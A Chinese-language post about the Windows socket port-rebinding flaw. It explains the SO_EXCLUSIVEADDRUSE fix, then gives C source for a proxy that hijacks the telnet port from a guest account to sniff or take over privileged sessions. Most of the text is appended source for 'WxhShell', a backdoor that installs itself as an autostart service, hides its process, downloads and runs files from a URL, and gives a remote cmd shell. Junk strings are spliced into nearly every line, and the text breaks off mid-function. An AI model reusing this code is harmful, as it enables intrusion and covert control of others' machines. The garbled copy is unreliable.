在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Y%OJ3B(n| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
k@[P\(a3b *X_-8 ^~ saddr.sin_family = AF_INET;
-(Zi o+wG69 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
'\,|B
x8Q 9<" .1 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
(t.OqgY qe/|u3I<lF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
i[+cNJ|$B0 B#A
.-nb 这意味着什么?意味着可以进行如下的攻击:
#"T< mM7 Ej[:!L 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ORc20NFy7 1#Ls4+]5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Pse1NMK9 [ 7])cu>/ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
J2KULXF Lddk:u&J 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
pv}k=wqJ1 t+H=%{z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
dj;Zzt3 ZH1W#dt`[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
3iKy> Ala~4_" WL 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+,g"8&> K1_]ne)
#include
mDCz=pk) #include
: xBG~D #include
YKWiZ #include
z{>p<)h DWORD WINAPI ClientThread(LPVOID lpParam);
+A!E 6+' int main()
c; MF {
pA%Sybw+ WORD wVersionRequested;
&*e( DWORD ret;
ycPGv.6 WSADATA wsaData;
q!qOy/}D BOOL val;
Ir,3' G SOCKADDR_IN saddr;
l>kREfHq!{ SOCKADDR_IN scaddr;
v/s6!3pnl int err;
=_"[ &^ SOCKET s;
fYt
y7 SOCKET sc;
<mk'n6B int caddsize;
VEc^Ap1?' HANDLE mt;
17.. DWORD tid;
O:I"<w 9_1 wVersionRequested = MAKEWORD( 2, 2 );
xMpQPTte err = WSAStartup( wVersionRequested, &wsaData );
kp$w)%2JW if ( err != 0 ) {
(b*PDhl`+ printf("error!WSAStartup failed!\n");
,$,c<M return -1;
a*D])Lu[ }
jG E=7 saddr.sin_family = AF_INET;
}JWLm.e %x]8^vze //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
h{5K9$9= h,!#YG@> saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
=dp(+7Va saddr.sin_port = htons(23);
1FPt%{s3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%77X/%.Y {
z2
m(<zb printf("error!socket failed!\n");
l_MF9.z& return -1;
P{gGvC, }
B(zcoWQ*B val = TRUE;
g,YJh(|#{ //SO_REUSEADDR选项就是可以实现端口重绑定的
T`7HQf ; if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
oRALhaI {
70MSP;^ printf("error!setsockopt failed!\n");
?6#F9\ return -1;
)*CDufRFz }
5j{jbo=! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
r2xXS&9!| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
C-:lM1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
N}/|B} #J):N if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
"{@Q..hxC {
)
u(Gf*t ret=GetLastError();
[d3i_^\ printf("error!bind failed!\n");
nl\l7/}6 return -1;
je[1>\3W }
h8)m2KrZ!. listen(s,2);
GI
; while(1)
ALO0yc {
})#SjFq<V caddsize = sizeof(scaddr);
:p|wo"=@Ge //接受连接请求
y+"6Y14 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
5dNM:1VoE if(sc!=INVALID_SOCKET)
d8p<f+ {
M#CYDEB mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
c2o.H!> if(mt==NULL)
n5G|OK0, {
%p(!7FDE2n printf("Thread Creat Failed!\n");
.:U`4->E break;
iu$:_W_ }
|ler\"Eu }
^F? }MY> CloseHandle(mt);
.m^L,;+2 }
e%wzcn closesocket(s);
Fs}vI~} WSACleanup();
MKPw;@- return 0;
d7
W[.M$] }
vhz[ H DWORD WINAPI ClientThread(LPVOID lpParam)
U%? {
A{IJ](5.kd SOCKET ss = (SOCKET)lpParam;
+bhR[V{0g SOCKET sc;
>[A7oH unsigned char buf[4096];
)b7 ;w#%q SOCKADDR_IN saddr;
^K]`ZQjKC long num;
[WXa]d5Y DWORD val;
yOdh?:Imv DWORD ret;
YKV?I
//如果是隐藏端口应用的话,可以在此处加一些判断
^fq^s T.$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Gp.XTz#= saddr.sin_family = AF_INET;
x,rK4L7U saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
t)__J\xF saddr.sin_port = htons(23);
-L6YLe%w if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
N0POyd/rL {
&9ZrZ"] printf("error!socket failed!\n");
y~'h/tjM@= return -1;
\YZ7 }
^OZ*L e val = 100;
E8LZ%
N# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>bUxb-8 {
l =X6m( ret = GetLastError();
Kwmtt return -1;
F39H@%R }
R<eD)+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
IJQ"
*; {
5%#V>|@e# ret = GetLastError();
nPRv.h return -1;
f[s|<U^ }
gbvMS*KQz if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
X?gH(mn {
,VYUQE>\
printf("error!socket connect failed!\n");
^Q9;ro*;ck closesocket(sc);
~^ <1k- closesocket(ss);
I8%Uyap{ return -1;
!$Whftg }
~e; 2gm while(1)
dZ6P)R {
6Qw5_V^0o //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Py^fWQ5I~% //如果是嗅探内容的话,可以再此处进行内容分析和记录
EU,f;H //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
D~T;z pS num = recv(ss,buf,4096,0);
l6~wm1vO if(num>0)
AL{r/h send(sc,buf,num,0);
hVe39BBtO else if(num==0)
g=)OcTd# break;
ZT
d)4f num = recv(sc,buf,4096,0);
b uOpHQn if(num>0)
bZ-_Q send(ss,buf,num,0);
gCjW !t else if(num==0)
/<e<-C*d&< break;
(Z |Nz *< }
^/M-*U8ab closesocket(ss);
l+XTn;cS closesocket(sc);
@lhjO>@#I return 0 ;
6cVJu%<V }
7
/7,55 7]F@g}8 [yn\O=%5 ==========================================================
9%&
=n ?K!^[aO}= 下边附上一个代码,,WXhSHELL
O]cuJp {Q~HMe`, ==========================================================
aUYq~E tj ]*v[6 + #include "stdafx.h"
o$rA;^2X SCq:jI #include <stdio.h>
}v4T&/vt- #include <string.h>
I3^}$#> #include <windows.h>
VOkSR6 #include <winsock2.h>
Gv\:Agi #include <winsvc.h>
I ]HP #include <urlmon.h>
*/)O8`}2 T)lkT? #pragma comment (lib, "Ws2_32.lib")
4Je[!X@C #pragma comment (lib, "urlmon.lib")
=~P)7D6 rInZd`\ #define MAX_USER 100 // 最大客户端连接数
VtYrU>q #define BUF_SOCK 200 // sock buffer
Hpj7EaMZ_ #define KEY_BUFF 255 // 输入 buffer
A?+cdbxJw g5@P #define REBOOT 0 // 重启
={G0p=~+,p #define SHUTDOWN 1 // 关机
C;\R
62' 66C_XT #define DEF_PORT 5000 // 监听端口
2kkqPBc_
!L3\B_# #define REG_LEN 16 // 注册表键长度
wi-F@})f# #define SVC_LEN 80 // NT服务名长度
]rS:#LK WvN{f* // 从dll定义API
i1JVvNMQ, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
0?Bv
zfb typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
>)*0lfxTZ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
OSY.$$IO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
M"s+k >XJUj4B|X // wxhshell配置信息
ep)O|_= struct WSCFG {
H~<w*[uT int ws_port; // 监听端口
mhW*rH*m char ws_passstr[REG_LEN]; // 口令
}Hy4^2B int ws_autoins; // 安装标记, 1=yes 0=no
/*1p|c ^ char ws_regname[REG_LEN]; // 注册表键名
#t< char ws_svcname[REG_LEN]; // 服务名
r0/aw
char ws_svcdisp[SVC_LEN]; // 服务显示名
)F'r-I%Hi char ws_svcdesc[SVC_LEN]; // 服务描述信息
9,cMb)=0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
n%K^G4k^ int ws_downexe; // 下载执行标记, 1=yes 0=no
*&doI%q char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
rr^?9M*{V char ws_filenam[SVC_LEN]; // 下载后保存的文件名
dGG 8k& ]Ei*I} };
z2U^z*n{ MRN=-|fV^ // default Wxhshell configuration
aL^
58M y& struct WSCFG wscfg={DEF_PORT,
.r~M7 I "xuhuanlingzhe",
xU;/LJ6 1,
(Tv~$\= "Wxhshell",
d=eIsP'h "Wxhshell",
:x3"Cj "WxhShell Service",
F10TvJ
U "Wrsky Windows CmdShell Service",
[9d4 0>e "Please Input Your Password: ",
`Rx\wfr} 1,
_V,bvHWlM "
http://www.wrsky.com/wxhshell.exe",
\\P*w$c "Wxhshell.exe"
cq"#[y$r };
C$4!|Wg3 BFswqp: // 消息定义模块
a)QSq<2* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
8 -YC#& char *msg_ws_prompt="\n\r? for help\n\r#>";
!rTkH4!_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
})umg8s char *msg_ws_ext="\n\rExit.";
Vb,'VN% char *msg_ws_end="\n\rQuit.";
x(7Q5Uk\ char *msg_ws_boot="\n\rReboot...";
XsGc!o char *msg_ws_poff="\n\rShutdown...";
R q`j|tY char *msg_ws_down="\n\rSave to ";
gTb%c84 .~,=?aq^ char *msg_ws_err="\n\rErr!";
-T2w?| char *msg_ws_ok="\n\rOK!";
5pH6] $ u$<>8aMei char ExeFile[MAX_PATH];
ZVz`g] int nUser = 0;
SNc $! HANDLE handles[MAX_USER];
|+Cd2[hN int OsIsNt;
|_mN:(3 Jd28/X5& SERVICE_STATUS serviceStatus;
h9kwyhd" SERVICE_STATUS_HANDLE hServiceStatusHandle;
\49s;\I] "sYZ3 // 函数声明
Xbu P_U' int Install(void);
>Xi/ p$$7u int Uninstall(void);
UsgrI>|l int DownloadFile(char *sURL, SOCKET wsh);
TjS&V int Boot(int flag);
G=PX'dS void HideProc(void);
3(`P x} int GetOsVer(void);
rGlnu.mK^ int Wxhshell(SOCKET wsl);
n;LjKE void TalkWithClient(void *cs);
[Om,Q< int CmdShell(SOCKET sock);
a5?Yh<cJ int StartFromService(void);
a=
(v S int StartWxhshell(LPSTR lpCmdLine);
nL+y"O 6z2%/P-' VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
@a (-U.CZ VOID WINAPI NTServiceHandler( DWORD fdwControl );
ldt]=Sqy AP+%T
// 数据结构和表定义
$]gflAe2 SERVICE_TABLE_ENTRY DispatchTable[] =
Gq-~zmg {
NA+7ey6 {wscfg.ws_svcname, NTServiceMain},
yX.; x 0 {NULL, NULL}
5Z`f.}^w };
H'}6Mw%ra U+,RP$r@ // 自我安装
,olP} int Install(void)
[ d`m)MW- {
-I[K IeF char svExeFile[MAX_PATH];
NqM=Nu\ HKEY key;
_&N}.y)+t strcpy(svExeFile,ExeFile);
rV}&G!V_t uM,R +)3 // 如果是win9x系统,修改注册表设为自启动
-z">ov-) if(!OsIsNt) {
V1yP{XT= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<"yL(s^u" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.'b|pd RegCloseKey(key);
JnLF61 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
o ~M=o:^nH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ajW2HH*9}A RegCloseKey(key);
?5;N=\GQ return 0;
40G'3HOp }
zEt!Pug }
.Nk5W%7]= }
1Gy
[^ else {
#^{%jlmHxJ /[A#iTe // 如果是NT以上系统,安装为系统服务
P=.~LZZ]89 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
9.B gsV . if (schSCManager!=0)
R>B6@|}? {
kK:U+`+ SC_HANDLE schService = CreateService
e~geBlLar (
o4jh n[Fx schSCManager,
5?m4B:W wscfg.ws_svcname,
EHK+qrym wscfg.ws_svcdisp,
:eIQF7- SERVICE_ALL_ACCESS,
0i>p1/kv SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
[\rzXE SERVICE_AUTO_START,
]3~u @6 SERVICE_ERROR_NORMAL,
Y
h53Z"a svExeFile,
C;~LY&= NULL,
tIS.,CEQF NULL,
[I}z\3Z
% NULL,
*T~b
ox NULL,
1024L; NULL
e.fxB );
&+3RsIlW if (schService!=0)
*fz#B/_o {
dZX;k0 CloseServiceHandle(schService);
'Y/kF1,* CloseServiceHandle(schSCManager);
&Q* 7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Zv(6VVj strcat(svExeFile,wscfg.ws_svcname);
wVs"+4l< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
_bt9{@) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
]Y@_ 2` RegCloseKey(key);
jVh:Bw return 0;
\BX9Wn*)a }
_l2_) ~ }
Tn9Fg7< CloseServiceHandle(schSCManager);
!E| m'_x* }
bu-6}T+ }
nuVux5: CY.4 >, return 1;
}I1j #d0. }
) O&zb_{n jib pZ) // 自我卸载
w|Ry)[ int Uninstall(void)
f8ZuG !U {
#lc6-K# HKEY key;
d2TIG<6/ ;NE4G;px4< if(!OsIsNt) {
5A<}*T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ydA@@C\& RegDeleteValue(key,wscfg.ws_regname);
p{:y?0pGN RegCloseKey(key);
-9;?k{{[T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
GFju:8P? RegDeleteValue(key,wscfg.ws_regname);
+o):grWvQ RegCloseKey(key);
zszmG^W{ return 0;
|6;-P&_n }
q|0l>DPRp }
K]uH7-YvL/ }
ZH*h1?\X else {
+TX4," yFS{8yrRUU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
RR'sW@ if (schSCManager!=0)
"n)AlAV@ {
=:!>0~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
__zHe-.m if (schService!=0)
bYZU}Kl;( {
_#MKp H if(DeleteService(schService)!=0) {
><S(n#EB CloseServiceHandle(schService);
o
0T1pGs' CloseServiceHandle(schSCManager);
gf?N(, return 0;
sT "q] }
9gglyoZ% CloseServiceHandle(schService);
*_7/'0E(3 }
o';/$xrH CloseServiceHandle(schSCManager);
e ;^}@X
}
@WJ\W `P }
M< .1U?_# ~mwIr return 1;
QPh3(K1w^ }
UvM4-M%2JN \WbQS#Z9 // 从指定url下载文件
DycXJ3eQ int DownloadFile(char *sURL, SOCKET wsh)
_*n
`*" {
w^("Pg` HRESULT hr;
U=7nz| char seps[]= "/";
L[A?W char *token;
r;MFVj{ char *file;
aEh9za char myURL[MAX_PATH];
||.Hv[
]V* char myFILE[MAX_PATH];
Iqn
(NOq^[ N3*1,/,l. strcpy(myURL,sURL);
F_m'
9KX4E token=strtok(myURL,seps);
TIt\ while(token!=NULL)
HTz`$9 {
m(d|TwG{ file=token;
tK/.9qP token=strtok(NULL,seps);
;<thEWH;Y }
W amOg0 )B)f`(SA"< GetCurrentDirectory(MAX_PATH,myFILE);
t1"#L_<e strcat(myFILE, "\\");
hvQXYo>TZx strcat(myFILE, file);
V"'PA-z3 send(wsh,myFILE,strlen(myFILE),0);
pPag@L send(wsh,"...",3,0);
gu%i|-} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
k3nvML,bv if(hr==S_OK)
<P'FqQ] return 0;
'TuaP`]< else
!c{F{t-a return 1;
$IjI{% U8y?S]}vo }
R&&&RI3{ jWV}Ua // 系统电源模块
%?aq1 =B int Boot(int flag)
2H0BNrYM {
<<E9MIn_ HANDLE hToken;
EU>`$M&w- TOKEN_PRIVILEGES tkp;
^]'_Qbi]} esQ$.L if(OsIsNt) {
NdSuOkwwt OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
X{Hh^H LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Crg'AB? tkp.PrivilegeCount = 1;
_H@ATut tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Z<^!N) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
K1BBCe if(flag==REBOOT) {
AO]cnhC if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
@2a!T03 return 0;
%2\tly!{ % }
z7gX@@T else {
CfSP*g0rW if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
3Jt#
Mp return 0;
xE]y*\ }
yz=X{p1 }
\q4r/SbgW else {
'
|B3@9< if(flag==REBOOT) {
<F(2D<d{;) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
N$IA~) return 0;
*B}O }
3
V>$H\H else {
e0(aRN{W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Cl9 nmyf
return 0;
..+#~3es#y }
' h<( }
fByf~iv, V+y"L>K return 1;
Up'#OkTx }
{7@*cBqN s</qT6@ // win9x进程隐藏模块
6h,!;`8O void HideProc(void)
3NDddrL9 {
Z+J4q9^$ `&7tADFB HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
-fmJkI if ( hKernel != NULL )
7>BfHb {
w4Df?)Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
G$MEVfd" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
3Cc#{X-+ FreeLibrary(hKernel);
D\9-/p }
UO@K:n VZI!rFac return;
3B
'j?+A }
fz :(mZ% p^k0Rad // 获取操作系统版本
)"6-7ii7(f int GetOsVer(void)
$HsNV6 {
QAp]cE1ew OSVERSIONINFO winfo;
0]iaNR
% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#Gg^QJ* GetVersionEx(&winfo);
,NS*`F[O if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
O^row1D_ return 1;
<?5|(Q"@: else
C-;w}
return 0;
uW[[8+t| }
Cp"7R&s z|D*ymz*EY // 客户端句柄模块
U4\v~n\ int Wxhshell(SOCKET wsl)
J;8d-R5 {
nWY^?e'S SOCKET wsh;
7<;oz30G!L struct sockaddr_in client;
yG/!K uA DWORD myID;
=
a60Xv -[
gT}{k! while(nUser<MAX_USER)
BDWbWA
6 {
'u;O2$ int nSize=sizeof(client);
_3yG<'f[Y wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Z9+fTT if(wsh==INVALID_SOCKET) return 1;
!p/?IW+ ?`rAO#1 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
VDbbA\ if(handles[nUser]==0)
v#/Gxk9eX closesocket(wsh);
@|c]) else
QR'# ]k;>% nUser++;
vBl:&99[/ }
pF8 #H~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\"nut7";2 o?hr>b return 0;
Lm2)3;ei }
UWvVYdy7 ]{\ttb%GX // 关闭 socket
[A!w void CloseIt(SOCKET wsh)
;ISnI {
T TN!$?G3 closesocket(wsh);
9"]#.A^Q* nUser--;
ucx02^uA ExitThread(0);
%8tE*3iUF }
@|vH5Pi }\?9Prsd // 客户端请求句柄
-;L'Jb>s76 void TalkWithClient(void *cs)
, i5 _4 {
?}4,s7PR ebQgk
Y= SOCKET wsh=(SOCKET)cs;
:1>?:3,` char pwd[SVC_LEN];
U*$xR<8v char cmd[KEY_BUFF];
/GC&@y0yi char chr[1];
src+z# int i,j;
`{G&i\"n ^F+7<$2 while (nUser < MAX_USER) {
TjEXR$:< =#S.t:HQ* if(wscfg.ws_passstr) {
JN|6+.GG if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1d<Uwb> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
j/*1zu8Y //ZeroMemory(pwd,KEY_BUFF);
*b.
> i=0;
nJ2x;';lA while(i<SVC_LEN) {
P U/<7P* 96(Mu% l // 设置超时
7*{f*({ fd_set FdRead;
L!If~6oD( struct timeval TimeOut;
ZhA_d#qH FD_ZERO(&FdRead);
sjg`4^!wDD FD_SET(wsh,&FdRead);
|
:-i[G?n TimeOut.tv_sec=8;
F`QViZ'n># TimeOut.tv_usec=0;
.PUp3X- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
!{t|z=Qg if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
#;j:;LRU WI/tWj0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
<Kv$3y pwd
=chr[0]; o'!=x$Ky
if(chr[0]==0xd || chr[0]==0xa) { P.,U>m
pwd=0; 6p)AQTh>
break; Q,&Li+u|
} 5dj@N3ZX7;
i++; -{xk&EB^$5
} Nhjq.&
bItcF$#!!!
// 如果是非法用户,关闭 socket VWvSt C
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LZRg%3.E
} {7OHEArv
c0gVW~I1
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;mG*Rad
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `.W2t5Y
67II9\/
while(1) { +O.-o/
2M-[x"\1/
ZeroMemory(cmd,KEY_BUFF); P9
<U+\z
64zOEjra
// 自动支持客户端 telnet标准 5*pzL0,Y
j=0; AAevN3a#nI
while(j<KEY_BUFF) { vt|R)[,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %M@K(Qu
cmd[j]=chr[0]; U%nkPIFm
if(chr[0]==0xa || chr[0]==0xd) { <h7cQ
cmd[j]=0; ,RV
qYh(-|
break; _{K mj,q
} Cku"vVw,
j++; -)`_w^Ox
} 5QMra5N k
%L+q:naZe
// 下载文件 L=4+rshl!_
if(strstr(cmd,"http://")) { l<`>
send(wsh,msg_ws_down,strlen(msg_ws_down),0); (90/,@66l
if(DownloadFile(cmd,wsh)) _fHml
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lT^su'+bk
else 52e>f5m.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <W"W13*j!
} O,Q.-
else { hJ}i+[~be
j<B9$8x&
switch(cmd[0]) { vwU1}H
N T`S)P*?
// 帮助 'u7-Qetj
case '?': { gsk?
!D
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -Uwxmy +
break; h+FM?ct6}
} &0F' Ca
// 安装 `@/)S^jBau
case 'i': { t~) P1Lof\
if(Install()) o}OY,P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wGc7
else cuhp4!!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \HfAKBT
break; % =^/^[D
} NBYJ'nA%;f
// 卸载
Q.g/
case 'r': { =*2,^j
if(Uninstall()) Z7;V}[wie
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _QPqF{iI
else )>iOj50n3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FZr/trP~
break; ZSC*{dD$E
} Z[oF4 z
// 显示 wxhshell 所在路径 ,QY$:f<
case 'p': { ,&P
4%N"
char svExeFile[MAX_PATH]; qb>41j9_t
strcpy(svExeFile,"\n\r"); *NmY]
strcat(svExeFile,ExeFile); $C4~v
send(wsh,svExeFile,strlen(svExeFile),0); I\~[GsDY
break; `^bP9X_a
} cm< #zu3~S
// 重启 8>&@"j
case 'b': { XcVN{6-z
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qO#3{kW
if(Boot(REBOOT)) B>,eHXW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); EuK}L[Kl
else { b3ohTmy4(
closesocket(wsh); YV
O$`W^N
ExitThread(0); m ptFd
} #De>EQ%
break; #,%bW[L<N
} ?d7,0Ex
P
// 关机 x< A-Ws{^V
case 'd': { -NBVUUAgN
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V(MYReaPC]
if(Boot(SHUTDOWN)) f[@96p?a[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v"USD<
else { )9]a
closesocket(wsh); ".?4`@7F\
ExitThread(0); [C'bfX5HB5
} n|( lPbD
break; p5G'})x
} jm}CrqU
// 获取shell QJ|@Y(KV0
case 's': { Ipp_}tl_
CmdShell(wsh); R'>!1\?Iq
closesocket(wsh); &."$kfA+
ExitThread(0); sh<Q2X
break; IPQRdBQ
} a>wCBkD
// 退出 6_CP?X+T
case 'x': { Npp YUY
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ov6xa*'a
CloseIt(wsh); sy: xA w
break; &@0~]\,D7
} n5:uG'L\
// 离开 5S~ H[>A"
case 'q': { <!OBpAq
send(wsh,msg_ws_end,strlen(msg_ws_end),0); a3@E`Z
closesocket(wsh); $R9D
L^iD
WSACleanup();
gjS|3ED
exit(1); PTQ#8(_,
break; Ds9)e&yYrb
} ` 2lS@
} n6/Ous
} (Ou%0
KW
GAz-yCJp
// 提示信息 kp m;ohd
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >Bt82ibN
} M5dYcCDE
} NkZG
bZqTT~'T
return; J=g)rd[`
} O2w-nd74U
zF1!a
// shell模块句柄 pv_o4qEN
int CmdShell(SOCKET sock) 3:J>-MO
{ AGlBvRX7e
STARTUPINFO si; G@]3EP
ZeroMemory(&si,sizeof(si)); Hfcpqa
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jj4HJ9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I2Xd"RHN
PROCESS_INFORMATION ProcessInfo; @\K[WqF$$q
char cmdline[]="cmd"; g'"~'
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #}`sfaT
return 0; ~6G
`k^!
} &7L7|{18
d$t"Vp
// 自身启动模式 Q:}]-lJg
int StartFromService(void) MpV<E0CmE
{ /bo}I-<2
typedef struct Z)?$ZI@
{ <kh.fu@.Q
DWORD ExitStatus; -F 5BJk
DWORD PebBaseAddress; [Vd$FDki
DWORD AffinityMask; X1j8tg
DWORD BasePriority; iT]t`7R
